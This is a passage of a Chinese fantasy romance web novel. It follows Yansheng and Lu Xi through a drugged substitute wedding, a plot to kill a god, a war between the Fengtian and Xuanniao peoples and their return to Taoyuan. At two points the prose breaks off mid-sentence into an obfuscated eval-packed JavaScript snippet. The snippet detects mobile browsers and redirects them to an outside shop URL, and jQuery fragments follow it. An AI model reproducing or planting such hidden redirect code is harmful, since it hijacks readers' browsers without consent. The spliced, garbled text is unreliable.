她说道:“我被选为神妾那日,神尊在我掌心刻上花纹。后来满月施法把花遮上了。至于我的事……你应该梦见过不少。” “你怎知道我会梦见?”颜笙自然知道子颜和陆贺年的关系,便问:“你心悦陆贺年?可陆归年的记忆里,是他霸占了你。” “你应该最了解我,答案是什么,你的心里也应该清楚。”子颜叹了一口气,“但很多事,从第一眼就决定了。” “我知道了。”颜笙点头,她不喜欢的事,没人能让她做。 子颜道:“事已至此,再提往事也是庸人自扰。” 颜笙安慰道:“陆归年未必不是好的归宿。” 回想起前世和陆归年在鹤冲山的日子,虽没有什么怦然心动,但日子过得极为舒坦, “对我来说……似乎不是。”子颜语气沉下来,指尖在掌心的小花轻轻摩挲。 她忽而微抬眼皮,以游丝般似有所无的声音问道: “再给你一次机会,你还会杀他吗?” 25. 翦(一) 杀谁?说的是陆归年,亦或是什么人? 对于这句指代不明的话,颜笙百思不得其解,也没有给出任何回答,只当自己听错了。她杀死陆归年的事,这里的人怎会知晓? 房间的门突然响了,颜笙起身出门查看。 外面站着张脆枣,他笑眯眯地端着一盘枣花酥,递给颜笙,说道:“今日之后大家都分道扬镳了,这点糕点不成心意,望您和小姑娘收下。” 颜笙接过枣花酥,“张豆角,怎这么急就走?今日大婚我和陆析都忙,还想着改日清闲了,我们再聚一顿散伙宴。” 张脆枣道:“是我哥有事要忙,我不得不走。顺便,您家门口的枣树,我昨晚已经挖了,今天的枣花酥就是您家枣子做的,您好好尝尝。” 说完这话他就拜辞了。 颜笙感慨完这张脆枣兄弟两人太性急,忽想起袁思邈说过的陆贺年弑神的日子,似乎就在近期。张脆枣兄弟估计是要准备动手了。 由着他们去吧。 这事与她无关,何况这里的神尊也不是什么好人! 颜笙很少吃甜食,掰了一瓣枣花酥,放到嘴里细嚼慢咽。子颜则毫不避讳,大口吃得着点心,连连称赞着这点心地道香甜,还说:“像极了年少时的味道。” 颜笙算是发现了,子颜是讨人喜欢的女子。她擅长给人正反馈的女子,对于喜欢的事物总不吝夸赞,几乎不会有人不喜欢这种女子。 应该说,她是个努力热爱生活的人。颜笙也热爱生命,为了长生而瞻前顾后,活得小心翼翼了,缺乏烟火气。 颜笙深深叹了一口气,她就不讨人喜欢了。 成为天道之后的陆归年,后来会喜欢她,应该也只是因为她曾经是热爱生活的子颜吧。 子颜笑眯眯地看着颜笙,想安慰一下她。她刚想开口,突然脸上的表情凝滞住。她合了一下眼睛,随后趴在木案上,用手抓了一下颜笙。 颜笙回过神,才看见子颜的狰狞表情。子颜似乎努力睁大眼睛,但随后很快闭上了眼睛,躺在交叠的双臂上。 门口传来急促的敲门声。 “怎么回事?”颜笙惊慌失措地抓了抓子颜的胳膊,躺着的人毫无反应。 她的眼前也突然白茫茫一片,喉咙也失去了发生的力气,只是用力抓着子颜的胳膊,随后也陷入了昏迷。 依稀间,她瞧见大门轻轻地打开,似乎有人走了进来,那人好像是…… 入侵者脸上戴着一幅眼熟的傩面。 * 颜笙再次醒来,是被外面奏响的《关雎》吵醒的。她觉得浑身格外沉重,周围的空气也异常憋闷,像是困在一个狭小的空间内。 她张开眼睛,眼底里尽是嫣红。 很快地,她便察觉到了,自己倒在一顶花轿之中。 那花轿在她醒来后,仅走了不到二十步,便骤然落轿。她的轿帘被掀起,陆归年站在轿子外面,迎接她进府。 颜笙甩开递来的红绸,摘下脑袋上面繁复的头饰,丢给了陆归年,急道:“你们接错人了。” 她说完这话,陆归年仍未有行动,她从未见过大喜日新娘子丢了还有不紧不慢的,便喝道:“还傻站着做什么?新娘子还在我府上呢。” 陆归年旁边走出一位年轻仆役,他长得一颗土豆似的方脑袋,皮肤有点黑,又三分像窦不迟。他说道:“不对。刚才我们去接人的时候,是颜娘子亲自将您送出来的。” 她亲自把自己送出来的? 不对啊。 这怎么送? 颜笙摸了隐隐发胀的额头,她记忆里最后一个片段,还是她和子颜吃下张脆枣送来的枣花酥,随后两人纷纷昏迷。 恍惚间,颜笙又想起子颜和她昏迷前,对她说过的那句话。 “再一次机会,你还会杀他吗?” 再给你一次机会…… 颜笙微皱眉头,眼角瞥见陆归年身着婚服,一如往昔。她眼神里的光逐渐散去,忽地一声冷笑,低声喃喃道:“还真是再一次机会。” “颜笙上神——”后方传来呼喊她的声音。 这是陆析的声音,颜笙回头看见陆析气喘吁吁地赶来。 他跑来的时候,前来凑热闹的暮雨城居民,凡是看清他面容的,皆是惊讶不已,此人长得和陆归年一模一样。 就连陆归年本人都不免感叹,世间竟真有长相完全相同的人,子颜和颜笙生得像,还有个人和他长得像。 颜笙没空和他们解释,直接招来了云朵,眼见着就要随云离去。 陆析见颜笙脱困,便要拂衣而去,可围观居民将他团团围住,以他的凡人之躯前后皆无路可走。 忽而,颜笙招来的那朵云飞到陆析头顶,颜笙坐在云间一挥手,拥堵的人群里所有人动作凝滞。 那朵云渐渐下降,颜笙朝着陆析伸手,淡淡的语气命令道:“上来。” 陆析将手覆上去,颜笙紧紧一握,抓着他的手腕,轻松将他拽到云片上。 “真会给我添麻烦。”颜笙说着取出一点失忆粉末,撒向了云下的人群。 脱离仙境的陆析坐在云端,胸口依旧不断起伏,听到颜笙冷嘲热讽,便反驳道:“确实不该过来,应该等您给圆胖橘凑个能打酱油的妹妹。” “我还以为你被陆贺年已经制成了阴兵,要不我再送你去见他?”颜笙道。 陆析摆手,总算服软了,又乖乖地朝她施礼,“颜笙上神,弟子只想做您的信徒。回去之后,弟子定要给您多烧十根香火。” 难得在看到他嘴上服软,颜笙心情愉悦,“那我就大人不记小人过,回去之后亲手给我烧香烛五十条,要白蝉香的。” 那朵云载着两人渐渐隐去。 此刻在场所有人刚刚恢复动作,围观居民们不由得面面相觑。刚才时间凝滞了,他们看不见眼前发生了什么,只记得前脚新娘子刚接到门口,后脚就凭空消失了。 * 颜笙原先的宅邸被士兵层层包围,内外皆水泄不通。而鹤冲山所在的区域,在此时仍被一片汪洋覆盖。 他们找不到落脚的地方,只得来到桃源境。 颜笙最熟悉的地方莫过于显熠宫里。她去那里并非是想找陆贺年算账,而是打算先借助几日,等拿到画后就离开。 她先是来到自己平日所居住的寝殿,进门就瞅见她的宝贝落地镜前,刚抱着镜子照了一会儿,就瞧见镜子中映着另一位身材窈窕的女子。 那女子的容貌和颜笙相同,但发饰梳成了温婉妇人模样,身袭宽松的黑色长袍。她眼角有泪痕…… “你是……子颜?”先发出疑问的是陆析。 子颜面对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031217|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人时惊慌失措,用袖子擦了一下脸庞,便瞬息间化成一缕清影,消失在两人面前。 陆析心中有太多不解,想要追上去问清楚,身子却被定在原地。 “又做多余的事。”颜笙拦住他,抬下巴指了指床头,望见陆析面露尴尬,狠狠剜他一眼,“去把那里的画拿过来。” 床头摆着一个卷轴,陆析在颜笙面前展开画卷。那画上面是穿着大祭司服饰的颜笙画像,应该说是子颜的画像。 颜笙轻抚画像,“墨迹还未干,且未有注入法阵,估计这幅画还未画完。” 陆析询问道:“那我们将画留在这里?等他们画完再来取。” 颜笙道:“我感觉他们有事,子颜明显是哭过,两人未必今日能回来。你先把画收起来,回头碰到他们再想办法。” * 两人出去以后,才得知今日是神尊的生辰日。又想起子颜选在今日成婚,神妾在神尊的生辰与别的男子成婚,当中挑衅的意味极为浓烈。 正在路上时候,碰见了张脆枣独自站在池塘边徘徊,陆贺年和那头毛驴都没有在现场。 张脆枣察觉颜笙和陆析的靠近,转过头跟没事人似的地打招呼,“颜笙上神,这么巧。那玄鸟公主的婚事进展得如何?” 颜笙微蹙眉头,和陆析对视一眼,随即朝着张脆枣发招。 张脆枣那张酡红的脸颊变白,下巴缩短三分,活脱脱刷过一层面粉的鲶鱼。 陆析认出了这张脸,便小声知会颜笙:“她是子颜的养母莲江仙,先前差点要走我性命,并不好对付。还是不要耽误时间,我们赶紧走吧。” 万年前桃源境灵气充裕,对神仙们的后续修炼大有裨益,仙人们整体实力要强过后世不少。桃源境任意初等仙人,都足以抗衡万年后的神尊崔巍。 陆析想起先前颜笙夸下海口,结果在地宫中晕倒,不由得继续劝告:“这次不一定有人能救你。还是赶快走吧。” 颜笙没理睬,只微微一笑。 周围的空气瞬息间凝滞。莲江仙固在原地,左右都动弹不得,连嘴都张不开,发不出半分声响。 颜笙转头看向陆析,纳闷道:“你赶时间?” 陆析愣愣地摇头,“没事。” 颜笙发现自己下手有点重,这位莲江仙嘴都张不开,没办法问话,便是招来她的束三生,把莲江仙捆得结结实实的。 莲江仙发觉自己嘴巴能动了,第一件事便是朝着彩霞高呼:“柔栀仙子,快来救救我。” 倒不是所有仙人都这般好应付。听到这位上古真神的名字,陆析条件反射般抬手遮脸,颜笙握紧了拳头,也开始警惕起来。 良久,柔栀仙子并未如约而至。倒是卷起一阵狂风,将莲江仙卷走。 颜笙当即施法囚禁住那风团,风团之中的显形两道人影,一道是刚才失踪的莲江仙,另一道是子幽。 两人互相掐住对方脖子,莲江仙似乎因被掐住脖子而脸色发青,子幽的脖子上尽是血红的划痕。看起来,两人并非是一伙的,倒像是打得你死我活的仇人。 颜笙动手分开这两人,忽觉得掌心一阵刺痛。她另一手握紧这手的手腕,垂眸看向手心,中央那朵花灼热而泛红,像是被火烧过。 陆析走过来,也瞧见了那朵花,“你手心…..像是燃烧起来一般。” 26. 翦(二) 燃烧起来?总该不是燎祭了? 颜笙回想起掌心和自己有着相同符号的子颜,顷刻间慌乱起来,她定住不远处扭打的两人,向他们询问道:“子颜在哪里?” 子幽道:“黄昏时撞见她和陆贺年回显熠宫。一个时辰后,陆贺年出门赴宴,临走前给显熠宫加固了防护结界,子颜倒是没再出来过。” “是没再能出去吧。”颜笙回忆着子颜的古怪举动,又联想起神尊的生辰宴,忽意识到哪里不对,便看向子幽:“这种宴会为何你没有去,而陆贺年身为奉天人却能赴宴?” 子幽道:“颜儿提醒我,今日风大,不宜出行。” “那父王还真是听话,这话没对神尊说说?”颜笙观察附近的树叶,微微颤动又很快停了。摆明陆贺年今日会闹出些风波,提前知会子幽,让他故意避开风头。 他们两个何时关系这么好了? 子幽顿了一下,犹豫着开口:“我其实……” “在南歌子堕神后,他就叛变了。”莲江仙抢先说道:“柔栀仙子派我点化他,劝他逐步戒除杀戮,重修玄鸟法度。本来要成功了,没想到玄鸟贵族叛变了。” 子幽提起这里就来气:“就因为听你的话,让子颜亲自去处置反叛的贵族,这样他们自由了也会承子颜的情。没想到他们竟狼心狗肺,反过来要将子颜活祭了。” “谁料到有些人,从根上就烂了。”莲江仙说道。 子幽揪起莲江仙的衣领,“对付这种人就该你亲自去,不该颜儿去。若非陆家及时救下她,玄鸟的香火就断了。” “谁让你当初拦着颜儿嫁给陆老二,不然你家的香火早续上了。”莲江仙说完,也掐住子幽的脖子。 “你们两个别吵了。”颜笙打断两人的争吵。 紧接着,她拿出那幅半成的画像,又道:“父王说要替我寻的那幅画,似乎那两口子还未画完。我是担心两人此行回不来了,完不成这画。” 莲江仙急道:“陆贺年前段日子向柔栀仙子借了神力,应该是为了对付神尊。我在这里就是为了阻止你们破坏他的计划,只是没想到子颜也去了。” * 莲江仙和子幽暂时化干戈为玉帛,颜笙在他们的引路下前往那宴会现场,门外熙熙攘攘皆是无法获得资格入场的奴隶。 奴隶不在受邀之列,但也有些奴隶买了落魄贵族的请帖进去的,多数都是堵在门口解解眼馋的。 宴会早已开场有一个多时辰,懒散的守卫管理得有些松懈了。 他们四人里面三个是神仙,只陆析一个凡人,但幸好莲江仙多出几张请柬,守备并未多问,便准许他们带颜笙和陆析进去了。 在众人羡慕的目光下,莲江仙和子幽带着陆析和颜笙进入宴会厅。 大门离着会场还有很长的一段的云路,因为宴会已经进行到一半,中间的云路空荡荡的。颜笙铺了云梯,几个人踏云向前行进,渐觉前面的路越来越温热。 前方宴会厅在视野里聚集成一个硕大的光点,他们向前走,那光点越来越大,而且越来越热。 当他们将要抵达时,才发现那光点不是宴会的篝火,而是燃烧的烈火。 这火焰摆明不是寻常火焰,而是九天烈火,寻常的天水应该无法浇熄。 同时宴会现场外裹着一层厚厚的结界,他们四人被挡在结界外面。 这结界实在有些坚硬,子幽和莲江仙铆足气力也未能将结界开启,直到颜笙和陆析加入才勉强打开结界。 颜笙撤去结界时,众人听到女子幽幽的啜泣声,一行人向声音方向望过去。 子颜半跪在地上,脸颊沾着黑灰,指缝里似乎夹着结界的碎屑。 子幽和莲江仙跑上前,争抢着扶起地上的子颜,却听到子颜哽咽着说道:“他骗了我!快去阻止他——他想要和神尊同归于尽。” 颜笙却感觉自己手臂一阵刺痛,忽而想起万年后刑部阁库里,寥寥几笔所记载的陆贺年弑神之事。 同归于尽?可她记得陆贺年被囚禁在陀铃火渊里,他应该弑神的时候没有死。 可颜笙终究是不放心,陆贺年一旦死了,那幅画也画不成了,她和陆析还怎么回去? 颜笙望着那四处蔓延的九天烈火,突然想起莱她见过这火,好像唯一能浇灭它的是……… 天道的血。 颜笙又想起陆析梦呓时唤她的那声“楚楚”,便是不安地揪起地上的陆析,割破他的手心。 陆析吃痛地便要抽手,却始终挣脱不得。 颜笙抓着他,强行放了整整一碗的血,又加了扩张的咒语,随即泼向结界。 火势渐渐静了,应该不出一会儿就会全部熄灭。 颜笙回头看,瞧见子颜靠在子幽的肩膀上,手伸向子幽悬在腰间的短刃刀鞘。 子颜突然抽走子幽腰间的短刃,往脖子上一横。 颜笙弹指放射出一道光,弹开了那道短刃,这时候子幽和莲江仙惊魂未定,忙给子颜上了两道定身咒。 子幽斥责道:“早说过所有的事包在父王身上,你偏要自作主张。现在还要替那外族男子殉情?” “她哪里是为那渣男殉情?”颜笙笑眯眯地指了指自己手臂,上面此刻密密麻麻刻着无数圈勾勾爬爬的仙文,“是为你们两个尽孝。” 子颜抿着嘴,她动不了也说不了话,眼神祈祷颜笙不要继续说下去。 颜笙根本没有理会自己的前世,继续道:“她是这样打算的,神尊覆灭,天道崛起,届时三界秩序也会重建。她知道你们两个都会因过往的杀戮儿被判刑,所以想背负走你们的罪孽,记在她头上。明明她清清白白,却想替所有人下地狱。” 子幽和莲江仙震惊不已,两人分别擒着子颜的两条胳膊,果然瞧见与颜笙手臂上如出一辙的仙文。他们看不懂这段仙文,但依稀认出上面有他们以及其他亲眷的名字。 子幽重重叹气,莲江仙憋着眼泪。 “没事,她有个万年就能成仙。”颜笙笑眯眯安慰道:“但我已经替你们下过幽冥,可不想再经历一次。” 说着的工夫,颜笙用指腹摸了一把自己同样斑驳的手臂,上面的痕迹被她尽数抹去,子颜的手臂也恢复如初。 “你们乖乖等着,我进去收拾烂摊子。”颜笙说完这话,便走了进去,而子颜被父母两人架着,低着头再也动弹不得。 陆析也跟在颜笙的身后,颜笙余光瞥见到,也没有说话,只施法替陆析的手掌缠了层绷带。 两人进去的时候,屋内尽是烧焦的油脂散发的腥臭味,这味道仿佛一头扎进养猪场似的。 在神的眼里,人族也是这样的鸡豚狗彘。在仙力更胜一筹的神仙眼里,低等实力的仙人也是如此。 颜笙在凡间初次修行时,还对着这群神仙有着敬意合畏惧,后来她渐渐发觉,人为何要自低他们一头,哪怕他们并非善类? 颜笙和陆贺年发现了这一点,所以他们做出了同样的事——弑神。 当颜笙和陆析走进正殿的时候,她瞧见昔日那 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颜笙白他一眼,未曾领情不说,反而指责道:“弑神就弑神,认什么罪过?” “这难道是对的?”陆贺年道。 颜笙没有正面回答,只道:“问问你的良知心,杀掉神尊这样的神仙,还会是错的吗?” 陆贺年回答:“这些恶神对我们人族缺乏平等心,将人族视为猪狗,不分青红皂白地虐杀人族的生命,只为了取乐。除掉这种恶神,又有什么罪?” 这样一想,陆贺年心头沉重的感觉消失。 颜笙点点头,“既然没罪,你还去什么陀铃火渊。这样好好做你的神仙,子颜也用不着改嫁。” 远远有罚印的黑气飞过来,陆析悄悄出手,把罚印打散了。 陆贺年看了一眼陆析,结合这位子颜的转世说过的话,还有偶然间看到的那本《奉天秘史》上面的记载,对陆析的身份大约猜到了几分。 算了,他不插手未来,就假装什么也不知道了。况且他以对自己的了解,未来的自己应该也不可能放弃子颜,当然不打算替别人做嫁衣。 * 张脆枣当日很久才从幽冥回到桃源境,带领数以万计的阴兵袭来,等走到门口才发现桃源境一切安好,他当场傻眼。 陆贺年不得已,下至幽冥界,去处置张脆枣借阴兵的债务去了。和幽冥城的姚城主商议过后,赔付了不少灵石,快把积蓄掏空。幸好子颜富裕,这段日子总不至于节衣缩食。按照莲江仙的话说,真让他赘到一户好人家。 此事过后一个月,在颜笙的帮扶下,子颜身为玄鸟真正的国君,也继承了神尊的位置。 子颜赦免了多数玄鸟国人的罪责,抛却因良知被蒙蔽而犯下罪责的,少部分本性残暴的被下放到陀铃火渊,多数安排了历劫赎罪。 子幽和莲江仙自请下界。子幽在南歌子死后,一直在改革俘虏制度,他下界是为了寻找南歌子。莲江仙则是去寻找柔栀仙子去了。 柔栀仙子在此日过后消失了,谁也不知她去了哪里,只记得她临走前,把自身全部力量借给了陆贺年。在陆贺年杀了前任神尊后,那力量便飞去了混沌。 众人猜测,柔栀仙子大约是投胎历劫去了。 至于桃源境的法度,暂时没有大的变动,他们听去了颜笙的意见,等陆归年回归桃源境的时候,请求他帮忙修订新法。 与此同时,陆征年借由陆归年婚变一事,对玄鸟发起了全境的战争。 27. 翦(三) 颜笙和陆析同坐在云端,闲闲地看着下方太阴城郊外,奉天的兵马缓慢行进。 天空骤然变暗,飘来一阵灰蒙蒙的雾。奉天大军与太阴城近在咫尺,可这场离奇大雾遮蔽了行进的方向,使他们迷失在朦胧的世界里。 陆归年第一次作为副将跟随兄长征战,他没有经历过讨伐玄鸟的前次战役,心里打起退堂鼓。 眼下场景很难不会被联想起,是玄鸟神灵作祟。 奉天队伍中的一些人开始恐慌。 陆征年由于天生体弱,不宜打头阵,只在后方负责排兵布阵。年轻的陆归年打头阵,驾驭一头青牛,提起一把沉重的青铜长矛,走到了队伍的最前列。 此时正值冬夜。寒雾在他的皮肤结成冰霜,攥着长矛的手不能掩在袖子里,被冻得红胀麻木。 陆归年刻意回避不适的感觉,强行将注意力把控在战况中。他冷静地观察附近树木山石,依稀辨出道路。 这多亏了他先前曾绘制过的玄鸟地形图。 作为玄鸟公主子颜的体贴暗恋者,陆归年精心考察过玄鸟的地形风土,为他的心悦的姑娘绘制玄鸟万象图,用以缓解她的思乡情结。 陆归年记得玄鸟国每一种禽鸟声,听见周围传来熟悉的鸟鸣声,细听着像是迁徙的大雁。 “大雁冬季南迁,鸟飞往的方向便是南方。”陆归年借由着这两点,很快掌握了位置和方向,队伍加速前行着。 迷雾里突然杀出不少士兵,应该是从宫城之中派遣出来的,但好在只有前方的敌兵,后路似乎没有新的支援,他们只消应付眼前的猛烈攻击。 满是浓雾的天空中,突然插入一只疾飞的火鸟,那鸟飞速下坠,擦过陆归年的肩膀,划破他的衣襟,然后变成无数只燃烧的火箭,落在后方的草垛里。 草垛里燃起火焰,但由于天气寒冷,那火焰没持续多久便消失了。 奉天士兵们开始产生恐慌,原本势均力敌的趋势,变得一方逐渐弱势。 陆归年见状,反而喜悦地称道:“这是天道降下的吉兆。先王征讨玄鸟时,也曾遇到过火神降临,随后不久便攻陷了太阴城。” 战士们回想过去是有这么一出,应该是吉兆,随即士气大涨,很快恢复了战局。 在云端观战的颜笙不由得一怔,太阴城才是鸟守护的城池,这分明是玄鸟神灵的威胁警告,竟然被指鹿为马成奉天的祥瑞。 “解释权归天道所有。”颜笙讥笑道。 陆析诚然点头,的确是为了鼓舞士气在胡诌,但他眼下的情景不对。前世他随兄征战时,并无遇到火鸟袭击。 他左右观望着。颜笙也觉察出他的不对劲,跟着他左顾右盼,定睛时瞧见了一片形状奇特的云朵,正笼罩在宫殿上方。 颜笙驾云过去,离近后看见大片的云朵里藏着一位神仙。 子颜抬头,与颜笙和陆析两人视线对上,丝毫没有被抓包的慌乱,气不打一出来地斥责道:“你们莫要多管闲事!” 颜笙道:“玄鸟和奉天迟早都要打一架,即便没有陆归年嫁娶的名头,他们也有别的名头。这天下,只能有一个主子。” 陆析在心里默默认同。 说话之际,下方的宫殿里传来异动,奉天人已经杀入了宫廷。子参果真如子颜所说,根本没打算反抗。他自己一个人手无寸铁地出来,似乎只想要和解。 陆家两兄弟的军队刚入门不久,便把宫内所有人都擒住,将子参五花大绑按在地上。陆归年提刀指向子参,那刀尖锋利而闪着寒光。 子颜见状,悄悄催动法力,凝结出一道恶咒,往陆归年丢去。 咒语还未抵达屋檐,在半空中被另一道飞来的咒语抵消。 子颜心说一定又是多事的两人,但转头一看,发现阻拦这道咒语的人却是戴着傩面的陆贺年,便恼怒道:“连你也要阻止我?地上被擒住的是我的家人。” “你要杀的,也是我的家人。”陆贺年反驳。 颜笙看陆贺年一眼,心说他和陆归年不是关系很差吗,两人还是情敌,竟还出面阻止妻子杀他。 不过这里颜笙可不想自己再杀一次天道,便冷不丁对子颜丢下一句:“我替你保住子参,你别给我添乱。” 说完,颜笙施法将地上所有人定住,又被五花大绑的子参带走。她救人的时候,察觉到有道盯着她的目光,奉天队伍中有个人目光微动。 她下意识一瞥,发现竟然是陆征年,他身子一动不动,但微动的睫毛暴露了他的目光。他披着寻常盔甲伪装在人群之中,静静看着颜笙在他们面前救走子参。 陆征年究竟是什么人? 竟然能抵挡住她的法术,这世间她原本以为只柔栀仙子一人能抵挡她,怎么又突然间多了一个? 颜笙顿时后背冒寒气,她第一次对这地方产生恐惧感,但也假装什么都未曾察觉似的,把子参送到那对夫妇的旁边:“你们把他带走藏好,等战争平息后,送他去予奄国隐姓埋名。” 子颜忙作谢礼,以她的法力应该也做不到在众目睽睽之下救子参。 颜笙却张了张手,拉过两人的手,将他们两人的手叠在一起,“你们若是真感谢我,就快些和好,回来把那幅画赶紧画完。” * 约莫一周后,子颜亲自登门,将当初约定好的那幅画还给了颜笙。 颜笙低头验画。画中的人像与色彩与她来时所见一致,只是色泽黯淡了不少,不复当初鲜活。 她迟疑了片刻:也对。这时代的颜料多取自天然矿石与花草汁液,自然没有万年后的那幅色彩鲜艳。后世的那幅画,怕是成于更后面的年份,而她的到来改变了历史进程。 又或者,陆贺年成画之后,中间又将画修缮过。 她把画卷好,按下疑问,见子颜静坐一旁望她,盘中枣花酥未动,便问:“还有什么要嘱托?” “陆析不对劲。”子颜顿了顿,“他分明就是陆归年,却总矢口否认。” “他不是。”颜笙摇头,“我比对过他们的灵魂,形态与颜色完全不同。” 子颜不再多辩,只把一本《奉天秘史》推回她面前,褶痕分明,像已读尽。 她去净手,才安心拿起一块枣花酥,低声道:“早年帮陆征年夺权的是他,后来逼陆征年还政的也是他。世上怎会有这么矛盾的人?” 颜笙默然收起《奉天全史》,忽想起这册竟然遗失了,想来是当时在酒楼里,让陆贺年拿走了。她心下忽而生疑,便问:“我被安排为你替嫁,这里头也有你的主意?” 子颜解释:“香毒是我为自己所下,本意是引贺年前来,不想牵累旁人,谁料你半夜溜达到我屋外也闻见熏香,这才邀你进屋。后来贺年派人送来枣花酥为我们解了毒。不过……算了。后续种种,皆是临时起意。” 她话锋一转,又道:“对了,你还记得昏迷前我问你的话么?” 颜笙点头:“你问我,‘再有一次机会,你还会杀他吗?’。我不知道你指谁,便没有回答。” “你昏迷时倒是答了。”子颜平静复述,“你一直念‘归年’,说不想杀他,又说守寡太苦。说完还哭了。你说,我们能不成全你的心愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040128|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 颜笙心下承认,那多半是她会说的话,只是容易惹误会。 桃源境的生活并不轻省,她身为天道遗孀,每日要操心的事繁琐且多。她想把天道找回,也只是想有人分担。平日她不言,奈何这香毒跟麻沸散似的,害得她口风失守。 “只是太累,说了些昏话。”颜笙解释。 “是挺累的。”子颜颔首,“明为天道遗孀,实则代理天道,又兼女官,精力与法力都得过硬。难怪这里的神仙无人敌得过你。这些后来我都听陆析说了。” “陆析也知道?”颜笙顿感惶恐。她身为拥有兆数信徒的神灵,实在不愿让信徒窥见自己狼狈的一面。 知己莫若己,子颜知晓颜笙极好面子,不禁嘲道:“现在知道怕了?” 颜笙轻嗯一声,把脸扬到旁侧。 “放心。他在隔壁睡得可香,你上花轿时都没露面,应该没听到。”子颜笑着安慰,但又表示:“不过,若他真是陆归年转世,你待如何?” “他不是。”颜笙依旧坚持。 子颜懒得再争,只道:“我早年看过不少话本,里头有些修士为求登仙,会将自身一分为二,善念为神,恶念放逐凡尘。你说,世上真有人会这等法术?” 颜笙闻言,想到了些往事。 她修的金蝉术亦涉灵魂切割。她修行时也曾走火入魔,还是陆归年为她疗伤……或许,陆归年对此术同样精通。 这么说来,子颜对陆析身份的猜测未必没有依据。 颜笙轻声叹息:“我会留意他的。” 此日是颜笙留在此画的最后一日,她与子颜又聊了许久,方才依依惜别。 * 讨伐玄鸟的战役持续了三年,最终以奉天一方连战连捷告终。 战后,陆征年奉命返回都城辅佐幼帝,而陆归年则留守太阴,并顺势平定了当地几场零星叛乱,之后才动身回到自己的封地暮雨城。 牛车缓缓驶近城门,两侧是夹道欢迎将士归来的百姓,将士们看到久别的家人们,也几度泪涌。人潮中,陆归年一眼望见了子颜,她转过身子似要离去。 他心猛地一跳,即刻叫停了牛车。不等车身停稳,他便推开人群,踉跄着跃下,穿入拥挤的人群里。 眼见着她的背影离着他越来越近,忽有一道人浪涌动而来,转眼间她的身影被人海吞没。他徒劳地搜寻,却只余下些陌生面孔在眼前来往。 而她,再也寻不回了。 这段日子以来,太阴城内不时有涂抹奉天纹样的牛车入内,车上载满奉天的百姓。 他们下车之后,如同强盗般暴力拆毁城内的宫殿,挖掘祭祀用的墓坑,掠走玄鸟几代人留下的金银玉饰,连宫殿柱子上的珍贵漆料都被他们刮去。 原始的本能驱动他们的贪欲,良知被暂时蒙蔽。 朝中听闻这事之后,虽满朝哗然,到处都是弹劾陆归年的本子。 但摄政王并未阻止。谁都不知,这是他向陆归年下达的命令,让他利用这些人掩盖这座城池血腥与活人祭祀的痕迹。 任何新文明的建立,都需要毁灭再重建。 那些百姓满载着金银财宝,牛车踏上返回奉天时。躲在城内的将士们,在城中各处放置了柴木和硫磺,随后点上了火。 这座城池被熊熊大火吞没,火焰比玄鸟曾经办过的任何一场燎祭都灼烈。 一座曾经繁荣过的文明,就这样在一场大火中消失殆尽,连带着人族曾经不堪回首的野蛮过去,全都化成了泥土。 而历史是由胜利者创作的。 28. 回到桃源 窗纸被曦光染红,窗台上的刻漏标着午时。 颜笙推开窗户,外面艳阳高照着,一阵白蝉花的香气随风涌入寝殿。 旁边陆析想走,被颜笙施法阻拦。 颜笙对着铜镜梳妆,漫不经心地问:“你其实是……陆归年的转世?” 陆析自画中出去后,内心也有些动摇。在画中时,陆归年的很多感觉都能真切被他感知,包括那日他听到颜笙中毒后呢喃着他,心头生出一丝爱意。 那一刻,他能真切地感知到,陆归年是爱着颜笙的。 陆析对一切事物淡漠,但那一刻心跳得极快,无论他如何试图平复心情,都像是有条大手紧攥着他的心脏。 “我是。”他不觉承认了。 颜笙忽转身,拽了一下陆析的胳膊,把他拉入怀中,又按住他的气脉。 并没有探到多少灵力。 颜笙忽有些失望,斩钉截铁道:“不,你不是他。” 她瞥向躺在自己膝上的男人的脸庞,看他双颊青涩红晕,感慨道:“他见我从不脸红,也不怎么爱我。你别被画里莫名的记忆影响了。” “不会。”陆析身为抱朴派的弟子,深刻发扬抱朴精神,诚实地表示:“他喜欢你。 “喜欢阿猫阿狗那种喜欢?这倒是,他是天道,喜欢谁都不奇怪。”颜笙道。 陆析仍直戳戳地表示:“应该是男子对女子的喜欢。” 崔瑶和甄婉从殿前路过,听到里面的对话,走近时瞧见窗户里面的两人的姿势,不约而同杏目圆睁。 崔瑶毕竟是陆贺年的养女,心里是偏向陆贺年的,看她自己未来干娘被撬墙角,心情不大好。她抬抬下巴,冲甄婉指向窗口:“影响不好,去催催他们。” 甄婉心里本就支持颜笙续弦,况且她早就发现陆析长得像陆归年,更是有意成全这对,小声说道:“要不再等等。” “等什么等。”崔瑶叉起腰,“隔壁老六偷家了。” 颜笙听见俩仙子在窗外的絮叨,赶忙推开陆析,对窗外两人吩咐道:“你们先回去,我今日亲自送他们两个回抱朴派。” 两仙子朝窗内的颜笙望去,瞧见屋里的两人仿佛没事人似的,尤其那陆析主人露出一副姿势神态,朝她们点头示意。 甄婉和崔瑶只好退下去。 崔瑶急着火烧眉毛,立刻下界去了一趟幽冥。 甄婉小嘴向来快,这事很快传到外面,不到一个时辰,陆析侍寝颜笙的传闻便被传开了。 传言这种事,每个人传递时都添油加醋一笔。 